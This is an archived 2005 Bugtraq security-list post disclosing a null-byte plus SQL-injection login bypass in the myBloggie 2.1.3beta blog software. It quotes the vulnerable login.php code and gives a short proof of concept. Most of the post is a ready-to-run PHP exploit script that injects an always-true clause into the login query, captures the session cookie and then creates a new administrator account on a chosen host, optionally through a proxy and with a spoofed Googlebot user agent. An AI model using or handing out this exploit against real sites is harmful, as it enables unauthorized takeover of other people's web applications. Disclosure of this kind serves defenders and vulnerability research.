MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass

retrogod_at_aliceposta.it
Date: 10/01/05

  • Next message: Martin Schulze: "[SECURITY] [DSA 835-1] New cfengine packages fix arbitrary file overwriting"
    Date: 1 Oct 2005 11:04:21 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is) MyBloggie 2.1.3beta null char + SQL Injection -> Login Bypass

    software:
    site: http://www.mywebland.com/

    vulnerability: if magic quotes off -> SQL INJECTION
    look carefully this code in login.php, line 40-69

    ...
            if (isset($_POST['username'])) {
            $username=$_POST['username'];
            } else $username="";

            if (isset($_POST['passwd'])) {
            $passwd = $_POST['passwd'];
            } else $passwd = "";

            // Security precaution - sean 03 sep 2005
    [!] if(ereg('[^A-Za-z0-9_]', $username)){
            //redirecting the user if the username no alphanumeric to prevent
            echo "<meta http-equiv=\"Refresh\" content=\"1;url=".self_url()."/oops.php\" />";
            exit();
            }

            if( isset( $mode ) )
            {
              if( $mode == "login" )
               {
                  $username = trim( $username );
                    $passwd = md5(trim( $passwd ));

             if( $username == "" ) message( $lang['Error'] , $lang['Msg_enter_name'] );
             if( $passwd == "" ) message($lang['Error'], $lang['Msg_enter_pass'] );
    [!!] $result = mysql_query( "SELECT user FROM ".USER_TBL." WHERE user='$username'
                      AND password='$passwd'" ) or error( mysql_error() );

    [!!!] if( mysql_num_rows( $result ) != 1 ) {
    ...

    the ereg call should check if "username" string is alphanumeric or not, but...
    what happen if it begins with a null char? eheheheh
    this a PHP bug, so I should write another advisory about this function...
    you bypass the check...!

    poc, run this with you interpreter...
    <?php

    if(ereg('[^A-Za-z0-9_]'," ' " )) {echo "[1] hacking attempt!<br>";} #this works
    if(ereg('[^A-Za-z0-9_]',chr(0x00)." ' " )) {echo "[2] hacking attempt!<br>";} #this not

    ?>

    now you can inject an "always true statement" in login query and bypass the
    third check, poc:

    as username: [null char]'or'a'='a' LIMIT 1 /*
    as password: [nothing]

    if you cannot try it manually, this is my proof of concept exploit, it adds a
    new administrative account, it works both against Unix and Windows servers, I
    don't know if this ereg "null char" issue is documented...:

    <?php
    # 7.36 30/09/2005 #
    # #
    # ---mybloggie_213_xpl.php #
    # #
    # myBloggie 2.1.3beta null char + SQL Injection -> login bypass #
    # #
    # let's setup a new admin account right now! #
    # #
    # #
    # #
    # by rgod #
    # site: http://rgod.altervista.org #
    # #
    # make these changes in php.ini if you have troubles #
    # to launch this script: #
    # allow_call_time_pass_reference = on #
    # register_globals = on #
    # #
    # usage: customize for your own pleasure, launch this script from Apache, #
    # fill requested fields, then go! #
    # #
    # From WikiPedia:"James "Jamie" Madrox, formerly known as Multiple Man, is a #
    # fictional character, a mutant superhero in the Marvel Universe and a former#
    # member of X-Factor. He first appeared in Giant-Size Fantastic Four #4." #
    # you know? This was my favourite one... Hey, but... wasn't he dead? #

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout", 2);
    ob_implicit_flush (1);

    echo'<head><title> myBloggie 2.1.3beta null char / SQL Injection </title><meta
    http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
    "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
    .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
    .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
    font-style: italic; } --> </style></head> <body> <p class="Stile6"> myBloggie
    2.1.3 beta (possibly prior versions) null char / SQL Injection</p><p class="Stil
    e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
    http://rgod.altervista.org></p><table width="84%"><tr><td width="43%"> <form
    name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&
    port=value&user=value&pazz=value&proxy=value"><p><input type="text" name="host">
    <span class="Stile5">hostname (ex: www.sitename.com ) </span> </p> <p> <input
    type="text" name="path"><span class="Stile5">path ( ex: /mybloggie/ or just / )
    </span></p><p><input type="text" name="port"><span class="Stile5">specify a port
     other than 80 (default) </span> </p><p><input type="text" name="username"><span
    class="Stile5">new admin username... </span> </p> <p> <input type="text"
    name="password"><span class="Stile5">password for new admin account...</span>
    </p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
    an HTTP proxy (ip:port) </span> </p> <p> <input type="submit"name="Submit"
    value="go!"></p></form></td></tr></table></body></html>';

    function show($headeri)
    {
    $ii=0;
    $ji=0;
    $ki=0;
    $ci=0;
    echo '<table border="0"><tr>';
    while ($ii <= strlen($headeri)-1)
    {
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
                 $ji=0;
                 $ci++;
                 echo "<td>&nbsp;&nbsp;</td>";
                 for ($li=0; $li<=15; $li++)
                          { echo "<td>".$headeri[$li+$ki]."</td>";
                                }
                $ki=$ki+16;
                echo "</tr><tr>";
                }
    if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
    {echo "<td>".$datai."</td> ";}
    $ii++;
    $ji++;
    }
    for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                          { echo "<td>&nbsp&nbsp</td>";
                           }

    for ($li=$ci*16; $li<=strlen($headeri); $li++)
                          { echo "<td>".$headeri[$li]."</td>";
                                }
    echo "</tr></table>";
    }

    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

    function sendpacket($packet)
    {
    global $proxy, $host, $port, $html;
    if ($proxy=='')
               {$ock=fsockopen(gethostbyname($host),$port);}
                 else
               {
                if (!eregi($proxy_regex,$proxy))
                {echo htmlentities($proxy).' -> not a valid proxy...';
                 die;
                }
               $parts=explode(':',$proxy);
                echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
                $ock=fsockopen($parts[0],$parts[1]);
                if (!$ock) { echo 'No response from proxy...';
                            die;
                           }
               }
    fputs($ock,$packet);
    if ($proxy=='')
      {

        $html='';
        while (!feof($ock))
          {
            $html.=fgets($ock);
          }
      }
    else
      {
        $html='';
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
        {
          $html.=fread($ock,1);
        }
      }
    fclose($ock);
    echo nl2br(htmlentities($html));
    }

    if (($path<>'') and ($host<>'') and ($username<>'') and ($password<>''))
    {

    $user=str_replace(chr(0x00),"",$user); # <- this is a suggestion for the patch... ;)
    if(ereg('[^A-Za-z0-9_]', $user)) { echo "<br>only alphanumeric chars in username please...<br>"; die;}

      if ($port=='') {$port=80;}
      if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    $sql=urlencode(chr(0x00)."'or'SUNTZU'='SUNTZU' LIMIT 1/*"); //beautiful query, isn't it? ;)
    $data="username=".$sql."&passwd=nothing&submit=Log+In";
    $packet="POST ".$p."login.php?mode=login HTTP/1.1\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
    $packet.="Referer: http://".$host.':'.$port.$path."login.php\r\n";
    $packet.="Accept-Language: en\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept-Encoding: gzip, deflate\r\n";
    $packet.="User-Agent: Googlebot/2.1 (+
    http://www.google.com/bot.html)\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Keep-Alive\r\n";
    $packet.="Cache-Control: no-cache\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacket($packet);
    if (eregi("Location: ./admin.php",$html)) {echo '<br>Exploit succeded -> now set a new administrative account...<br>';}
                                        else {echo '<br>Exploit failed...<br>'; die;}
    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(' ',$temp[1]);
    $cookie=$temp2[0]."path=/";
    echo'<br>cookie: -> '.htmlentities($cookie).'<br><br>';

    $data="user=".urlencode($username)."&password=".urlencode($password)."&repassword=".urlencode($password)."&level=1&submit=Submit";
    $packet="POST ".$p."admin.php?mode=adduser HTTP/1.1\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
    $packet.="Referer: http://".$host.':'.$port.$path."admin.php?mode=adduser\r\n";
    $packet.="Accept-Language: it\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept-Encoding: gzip, deflate\r\n";
    $packet.="User-Agent: Opera/8.50 (Windows NT 5.1; U; en)\r\n";
    $packet.="Host: ".$host."r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Keep-Alive\r\n";
    $packet.="Cache-Control: no-cache\r\n";
    $packet.="Cookie: ".$cookie."\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacket($packet);
    echo '<br>Now login as admin, user: '.htmlentities($username).' pass: '.htmlentities($password);
    }
    else
    { echo '<br>Fill requested fields, optionally specify a proxy...<br><br>';}
    ?>

    rgod
    site: http://rgod.altervista.org
    mail: retrogod@aliceposta.it
    original advisory: http://rgod.altervista.org/mybloggie213b.html


  • Next message: Martin Schulze: "[SECURITY] [DSA 835-1] New cfengine packages fix arbitrary file overwriting"

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